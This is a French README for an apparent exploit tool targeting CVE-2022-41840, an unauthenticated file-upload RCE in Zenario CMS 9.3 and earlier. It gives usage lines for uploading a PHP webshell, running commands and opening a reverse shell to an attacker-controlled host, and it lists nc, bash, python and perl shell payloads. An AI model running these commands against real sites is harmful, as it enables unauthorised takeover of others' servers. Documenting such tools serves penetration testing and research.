Zenario CMS 9.3 - Exploit RCE non authentifié

CVE-2022-41840

Une vulnérabilité d'exécution de code à distance (RCE) non authentifiée affectant Zenario CMS version 9.3 et antérieures. L'exploit exploite une vulnérabilité d'upload de fichier dans le point de terminaison AJAX pour téléverser un webshell PHP et obtenir une exécution de code.

Détails de la vulnérabilité

• CVE : CVE-2022-41840
• Version affectée : Zenario CMS <= 9.3
• Type de vulnérabilité : Upload de fichier non authentifié menant à une RCE
• Vecteur d'attaque : HTTP POST vers /zenario/ajax.php
• Privilèges requis : Aucun (non authentifié)

Utilisation

Webshell interactif

python3 zenario_exploit.py --target http://target.com

Exécution d'une commande unique

python3 zenario_exploit.py --target http://target.com --cmd "id"

Shell inversé

python3 zenario_exploit.py --target http://target.com --lhost 10.x.x.x --lport 4444

Prérequis

• Python 3.x
• Bibliothèque requests

Installer les dépendances :

pip install requests

Fonctionnalités

• Upload automatique d'un webshell PHP via le point de terminaison AJAX vulnérable
• Prise en charge de plusieurs valeurs instanceId pour augmenter le taux de réussite
• Extraction du chemin basée sur JSON et expressions régulières
• Plusieurs options de charge utile de shell inversé (bash, python, perl, nc)
• Shell PTY entièrement interactif avec prise en charge du terminal
• Repli sur le webshell si le shell inversé échoue

Avertissement

À des fins éducatives et de tests de sécurité autorisés uniquement.

Cet outil est fourni aux chercheurs en sécurité et aux testeurs d'intrusion pour tester les systèmes qu'ils possèdent ou pour lesquels ils disposent d'une autorisation explicite. L'accès non autorisé à des systèmes informatiques est illégal et strictement interdit.

Les mainteneurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.

Licence

Ce code est fourni à des fins éducatives.